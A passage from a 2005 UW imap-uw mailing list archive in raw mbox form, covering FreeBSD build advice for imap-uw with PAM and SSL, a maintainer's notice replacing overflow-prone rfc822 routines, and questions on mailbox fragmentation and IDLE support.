MAKE_ARGS+=3D PASSWDTYPE=3Dpam # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean 2) imap-uw: # cd /usr/ports/mail/imap-uw # vi Makefile Add: MAKE_ARGS+=3D PASSWDTYPE=3Dpam # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean --------------- (a) Option 2: --------------- 1) cclient: # cd /usr/ports/mail/cclient # vi files/patch-ab and adjust your parameters # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean Example of the first 13 lines of the file: --- src/osdep/unix/Makefile.orig Thu Apr 21 00:48:34 2005 +++ src/osdep/unix/Makefile Mon May 30 19:08:25 2005 @@ -22,8 +22,8 @@ EXTRAAUTHENTICATORS=3D EXTRADRIVERS=3Dmbox -PASSWDTYPE=3Dstd -SSLTYPE=3Dnopwd +PASSWDTYPE=3Dpam +SSLTYPE=3Dunix IP=3D4 2) imap-uw: # cd /usr/ports/mail/imap-uw # vi files/patch-ad and adjust your parameters # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean Example of the first 8 lines of the file patch-ad: --- Makefile.orig Tue Nov 5 01:19:13 2002 +++ Makefile Thu Nov 28 00:11:51 2002 @@ -148,7 +148,7 @@ # std system standard (typically passwd file), determined by port # two try alternative (defined by CHECKPWALT), then std -PASSWDTYPE=3Dstd +PASSWDTYPE=3Dpam ------------------- The first option works fine for me. Espero haberte ayudado en algo. Saludos,=20 -- Derlis Z=E1rate On Tue, 6 Dec 2005 10:36:10 -0200 (EDT) "Jose Wilson A. do Nascimento" wrote: > hi, >=20 > What I am needing is to compile imap-uw with the options > PASSWDTYPE=3Dpam and SSLTYPE=3Dunix, but nao I am obtaining, leaves for e= rror. > My system is the FreeBSD-5.4-STABLE. Some suggestion >=20 > Building bundled tools... > cd mtest;make > `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c mtest.c > `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtest > mtest.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` > /usr/bin/ld: cannot find -ldl > *** Error code 1 >=20 > Stop in /usr/local/src/imap-2004f/mtest. > *** Error code 1 >=20 > Stop in /usr/local/src/imap-2004f. > *** Error code 1 >=20 > Stop in /usr/local/src/imap-2004f. >=20 >=20 > On Fri, 2 Dec 2005, Mark Crispin wrote: >=20 > > On Fri, 2 Dec 2005, Jose Wilson A. do Nascimento wrote: > > > I am inexperienced in the list, I am with some problems to use > > > imap-uw, I installed in the FreeBSD imap-uw to legalize way imap the = user > > > of the database of the LDAP, by means of PAM it. What this happening= is > > > the following one, I make login with user registered in of the databa= se in > > > the LDAP imap makes to request for the PAM and the PAM to verify in t= he > > > base the user, but not legalizes the user. everyone had a similar > > > experience. > > > > Did you set up a /etc/pam.d/imap file with the PAM rules that you need? > > > > Does your client use an SSL connection to the IMAP server (port 993), or > > negotiate STARTTLS on port 143? By default, you can not do password > > authentication in IMAP unless either SSL or TLS encryption is in effect. > > Read imap-200*/docs/SSLBUILD for more information. > > > > -- Mark -- > > > > http://panda.com/mrc > > Democracy is two wolves and a sheep deciding what to eat for lunch. > > Liberty is a well-armed sheep contesting the vote. > > >=20 > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 6 06:00:54 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Dec 2005 06:00:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0spF002167 for ; Tue, 6 Dec 2005 06:00:54 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0rqi006468 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 6 Dec 2005 06:00:53 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0oLv030380 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 6 Dec 2005 06:00:50 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0nb4021692; Tue, 6 Dec 2005 06:00:50 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0m37021684 for ; Tue, 6 Dec 2005 06:00:48 -0800 Received: from mail16.bluewin.ch (mail16.bluewin.ch [195.186.19.63]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6E0j4s027171 for ; Tue, 6 Dec 2005 06:00:45 -0800 Received: from localhost (83.77.65.230) by mail16.bluewin.ch (Bluewin 7.2.069.1) id 4392616500078943; Tue, 6 Dec 2005 14:00:31 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1EjdMt-0000YG-00; Tue, 06 Dec 2005 15:00:31 +0100 Date: Tue, 6 Dec 2005 15:00:31 +0100 (CET) From: "Tomas Pospisek's Mailing Lists" X-X-Sender: tpo2@localhost To: "Jose Wilson A. do Nascimento" Subject: Re: [Imap-uw] Authentic In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 6 Dec 2005, Jose Wilson A. do Nascimento wrote: > /usr/bin/ld: cannot find -ldl Does this [1] help? *t [1] http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&q=%22%2Fusr%2Fbin%2Fld%3A+cannot+find+-ldl%22&btnG=Search -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 6 07:38:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Dec 2005 07:38:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6FcqDu006419 for ; Tue, 6 Dec 2005 07:38:52 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6FcpgF021876 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 6 Dec 2005 07:38:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6Fcm0D008028 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 6 Dec 2005 07:38:48 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6Fcm9S030866; Tue, 6 Dec 2005 07:38:48 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6Fcl3o030850 for ; Tue, 6 Dec 2005 07:38:47 -0800 Received: from tango.pop-df.rnp.br (tango.pop-df.rnp.br [200.130.38.84]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB6FchvY028421 for ; Tue, 6 Dec 2005 07:38:44 -0800 Received: from tango.pop-df.rnp.br (localhost.pop-df.rnp.br [127.0.0.1]) by tango.pop-df.rnp.br (8.13.2/8.13.2) with ESMTP id jB6FfCm6077396; Tue, 6 Dec 2005 13:41:12 -0200 (EDT) Received: from localhost (wilson@localhost) by tango.pop-df.rnp.br (8.13.2/8.13.2/Submit) with ESMTP id jB6FfBsZ077393; Tue, 6 Dec 2005 13:41:12 -0200 (EDT) X-Authentication-Warning: tango.pop-df.rnp.br: wilson owned process doing -bs Date: Tue, 6 Dec 2005 13:41:11 -0200 (EDT) From: "Jose Wilson A. do Nascimento" To: Derlis =?ISO-8859-1?Q?Z=E1rate?= Subject: Re: [Imap-uw] Authentic In-Reply-To: <20051206105927.1b871b5c@fsbkpc.cnc.una.py> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Derlis, =09I made these tips and functioned perfectly. =09I am thankful all for the help. =09Thank=B4s =09Wilson On Tue, 6 Dec 2005, Derlis Z=E1rate wrote: > Hi, > > To compile the program with this options > "make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dpam" > you can use the FreeBSD ports tree. > > There are two alternatives: > > --------------- > (a) Option 1: > --------------- > In FreeBSD, the cclient and imap-uw ports has the install target, but the= way to establish the options differs from the imap-uw documentation. > > To do "make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dpam" in the ports I execute > this commands > > 1) cclient: > # cd /usr/ports/mail/cclient > # vi Makefile > Add: MAKE_ARGS+=3D PASSWDTYPE=3Dpam > # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean > > 2) imap-uw: > # cd /usr/ports/mail/imap-uw > # vi Makefile > Add: MAKE_ARGS+=3D PASSWDTYPE=3Dpam > # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean > > --------------- > (a) Option 2: > --------------- > 1) cclient: > # cd /usr/ports/mail/cclient > # vi files/patch-ab and adjust your parameters > # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean > Example of the first 13 lines of the file: > --- src/osdep/unix/Makefile.orig Thu Apr 21 00:48:34 2005 > +++ src/osdep/unix/Makefile Mon May 30 19:08:25 2005 > @@ -22,8 +22,8 @@ > > EXTRAAUTHENTICATORS=3D > EXTRADRIVERS=3Dmbox > -PASSWDTYPE=3Dstd > -SSLTYPE=3Dnopwd > +PASSWDTYPE=3Dpam > +SSLTYPE=3Dunix > IP=3D4 > > 2) imap-uw: > # cd /usr/ports/mail/imap-uw > # vi files/patch-ad and adjust your parameters > # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean > > Example of the first 8 lines of the file patch-ad: > --- Makefile.orig Tue Nov 5 01:19:13 2002 > +++ Makefile Thu Nov 28 00:11:51 2002 > @@ -148,7 +148,7 @@ > # std system standard (typically passwd file), determined by port > # two try alternative (defined by CHECKPWALT), then std > > -PASSWDTYPE=3Dstd > +PASSWDTYPE=3Dpam > > ------------------- > The first option works fine for me. > > Espero haberte ayudado en algo. > > Saludos, > -- > Derlis Z=E1rate > > > On Tue, 6 Dec 2005 10:36:10 -0200 (EDT) > "Jose Wilson A. do Nascimento" wrote: > > > hi, > > > > =09What I am needing is to compile imap-uw with the options > > PASSWDTYPE=3Dpam and SSLTYPE=3Dunix, but nao I am obtaining, leaves for= error. > > My system is the FreeBSD-5.4-STABLE. Some suggestion > > > > Building bundled tools... > > cd mtest;make > > `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c mtes= t.c > > `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -o mtes= t > > mtest.o ../c-client/c-client.a `cat ../c-client/LDFLAGS` > > /usr/bin/ld: cannot find -ldl > > *** Error code 1 > > > > Stop in /usr/local/src/imap-2004f/mtest. > > *** Error code 1 > > > > Stop in /usr/local/src/imap-2004f. > > *** Error code 1 > > > > Stop in /usr/local/src/imap-2004f. > > > > > > On Fri, 2 Dec 2005, Mark Crispin wrote: > > > > > On Fri, 2 Dec 2005, Jose Wilson A. do Nascimento wrote: > > > > =09 I am inexperienced in the list, I am with some problems to use > > > > imap-uw, I installed in the FreeBSD imap-uw to legalize way imap th= e user > > > > of the database of the LDAP, by means of PAM it. What this happeni= ng is > > > > the following one, I make login with user registered in of the data= base in > > > > the LDAP imap makes to request for the PAM and the PAM to verify in= the > > > > base the user, but not legalizes the user. everyone had a similar > > > > experience. > > > > > > Did you set up a /etc/pam.d/imap file with the PAM rules that you nee= d? > > > > > > Does your client use an SSL connection to the IMAP server (port 993),= or > > > negotiate STARTTLS on port 143? By default, you can not do password > > > authentication in IMAP unless either SSL or TLS encryption is in effe= ct. > > > Read imap-200*/docs/SSLBUILD for more information. > > > > > > -- Mark -- > > > > > > http://panda.com/mrc > > > Democracy is two wolves and a sheep deciding what to eat for lunch. > > > Liberty is a well-armed sheep contesting the vote. > > > > > > > _______________________________________________ > > Imap-uw mailing list > > Imap-uw@u.washington.edu > > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 8 16:53:30 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Dec 2005 16:53:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rUiY018860 for ; Thu, 8 Dec 2005 16:53:30 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rTF2014740 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 8 Dec 2005 16:53:29 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rPsI021368 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Dec 2005 16:53:25 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rPYQ026729; Thu, 8 Dec 2005 16:53:25 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rOAW026721 for ; Thu, 8 Dec 2005 16:53:24 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rNl3003595 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 8 Dec 2005 16:53:23 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rNAH021360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 8 Dec 2005 16:53:23 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB90rMhf025290 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Thu, 8 Dec 2005 16:53:23 -0800 Date: Thu, 8 Dec 2005 16:53:23 -0800 (Pacific Standard Time) From: Mark Crispin To: UW IMAP Toolkit Message-ID: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: Subject: [Imap-uw] new message writing routines in imap-2005 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The following message is of primary interest to software developers using the UW c-client library. It is NOT a concern to non-programmers or sites who use UW imapd or ipop3d. Today's imap-2005 development tarball introduces a major rewrite of the RFC822 message writing routines in rfc822.c. The old, vulnerable to buffer overflow, routines: rfc822_output() rfc822_header() rfc822_header_line() rfc822_address_line() rfc822_write_address_full() and rfc822_write_address() rfc822_address() rfc822_cat() rfc822_write_body_header() rfc822_output_body() have been replaced with new routines: rfc822_output_full() rfc822_output_header() rfc822_output_header_line() rfc822_output_address_line() rfc822_output_address_list() rfc822_output_address() rfc822_output_cat() rfc822_output_body_header() rfc822_output_text() The old interfaces continue to exist as before, so all existing programs will continue to work; however these interfaces are now considered to be legacy and their use is now discouraged. In addition, as long as the buffer provided to the old interfaces is at least 16K, they will now fatal() out rather than buffer overflow. Note that in the case of such strcat()-like routines as rfc822_address() or rfc822_cat(), that is 16K of free space and *not* 16K of buffer, so it may still be possible to buffer overflow with the old interfaces. The new interfaces do not have buffer overflow issues. When the buffer is filled, they call a routine to output and empty the buffer, and then resume. This is an issue for client programs that may use these routines. Pine generally doesn't use these routines because of the buffer overflow issues, but apparently some other applications such as PHP do. The c-client routines smtp_mail() and nntp_mail() have already been updated to use the new rfc822_output_full() routine instead of the old rfc822_output() routine. This affects client programs which send mail or post news using these routines. Note that this is NOT a UW imapd security issue. UW imapd does not use any of the routines. The new interfaces are still subject to change. If you are a software developer who uses the c-client library and these routines, now is the time to review these new functions and see if your application can use them. If your application does not call any of the legacy functions, then it may be that the only difference is that it's no longer likely to experience a buffer overflow when sending a message with a very large to-list. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 8 18:11:23 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Dec 2005 18:11:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BMFo021978 for ; Thu, 8 Dec 2005 18:11:23 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BMsD019425 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 8 Dec 2005 18:11:22 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BIxM001049 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Dec 2005 18:11:18 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BIFZ002132; Thu, 8 Dec 2005 18:11:18 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BGaM002123 for ; Thu, 8 Dec 2005 18:11:16 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BGnP006780 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 8 Dec 2005 18:11:16 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BGbg001044 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 8 Dec 2005 18:11:16 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB92BF2g000725 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 8 Dec 2005 18:11:15 -0800 Date: Thu, 8 Dec 2005 18:11:16 -0800 (Pacific Standard Time) From: Mark Crispin To: Andrew Daviel Subject: Re: [Imap-uw] Mail file fragmentation on Linux In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 5 Dec 2005, Andrew Daviel wrote: > I am running UW imapd and dmail with MBX mailbox format. I noticed using > debugfs "stat " that the mail file can get quite badly fragmented > over time. Since most access to a mbx-format mailbox is random access, I'm not convinced that fragmentation is a major issue. Certainly, fragmentation is less of a problem overall on modern filesystems than it is on FAT filesystems under DOS. I don't think that there's any good way to prevent fragmentation from happening given the way that mbx files work. I agree that copying to another file and moving it back is a good way to defragment the file. I'd like to see some more definite statistics before I believe that fragmentation is much to worry about. I'm of the opinion that defragmentation wastes more resources than fragmentation does, but I may be wrong. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 07:53:34 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 07:53:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrYqn026487 for ; Fri, 16 Dec 2005 07:53:34 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrXP2012429 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 07:53:33 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrThg006960 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 07:53:29 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrTkQ012574; Fri, 16 Dec 2005 07:53:29 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrSmC012566 for ; Fri, 16 Dec 2005 07:53:28 -0800 Received: from mail122.messagelabs.com (mail122.messagelabs.com [216.82.241.211]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jBGFrRDZ024036 for ; Fri, 16 Dec 2005 07:53:27 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-6.tower-122.messagelabs.com!1134748406!6420329!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 13177 invoked from network); 16 Dec 2005 15:53:26 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-6.tower-122.messagelabs.com with SMTP; 16 Dec 2005 15:53:26 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 96B8D2571 for ; Fri, 16 Dec 2005 10:53:26 -0500 (EST) Date: Fri, 16 Dec 2005 10:53:26 -0500 From: Mark Sirota To: imap-uw@u.washington.edu Message-ID: <9CC9FD2F161DF0750E0FD9F3@marmaduke.net.isc.upenn.edu> X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] IDLE in c-client X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Here at Penn we're working on a c-client based IMAP client for a large-scale unified messaging project, which will handle voicemail for several thousand IP telephony customers. We're debating whether to develop an IDLE interface in the c-client or just use a mail_ping() loop. The client will need to monitor everyone's mailbox in order to maintain the status of the message waiting indicator light on the VOIP telephone. While the mail_ping() loop is functionally identical to IDLE, it seems to me that the tradeoff is whether to put the resource burden on the client or the server, which may start mattering when we get into the several thousand mailbox level, depending on the scalability of the client and server architectures and the specifics of the IDLE implementation on the server. Are there any plans to implement IDLE in a future release of the c-client? If I ended up writing it myself, would you welcome the contribution? Thanks, -- Mark Sirota, Associate Director, Network Engineering and Services University of Pennsylvania, Information Systems and Computing msirota@isc.upenn.edu, +1 215 573 7214 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 07:53:36 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 07:53:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrarw026490 for ; Fri, 16 Dec 2005 07:53:36 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrZeH012463 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 07:53:35 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGFrVVn006968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 07:53:32 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) 